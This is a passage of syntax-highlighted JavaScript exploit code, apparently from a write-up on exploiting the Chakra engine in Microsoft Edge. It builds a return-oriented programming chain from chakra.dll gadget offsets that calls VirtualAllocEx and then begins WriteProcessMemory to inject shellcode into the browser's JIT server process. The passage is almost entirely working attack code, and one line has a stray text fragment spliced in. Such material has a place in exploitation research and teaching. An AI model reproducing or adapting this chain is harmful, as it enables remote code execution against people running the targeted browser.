<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span><span class="nx">is</span> <span class="k">in</span> <span class="nx">its</span> <span class="nx">final</span> <span class="nx">state</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
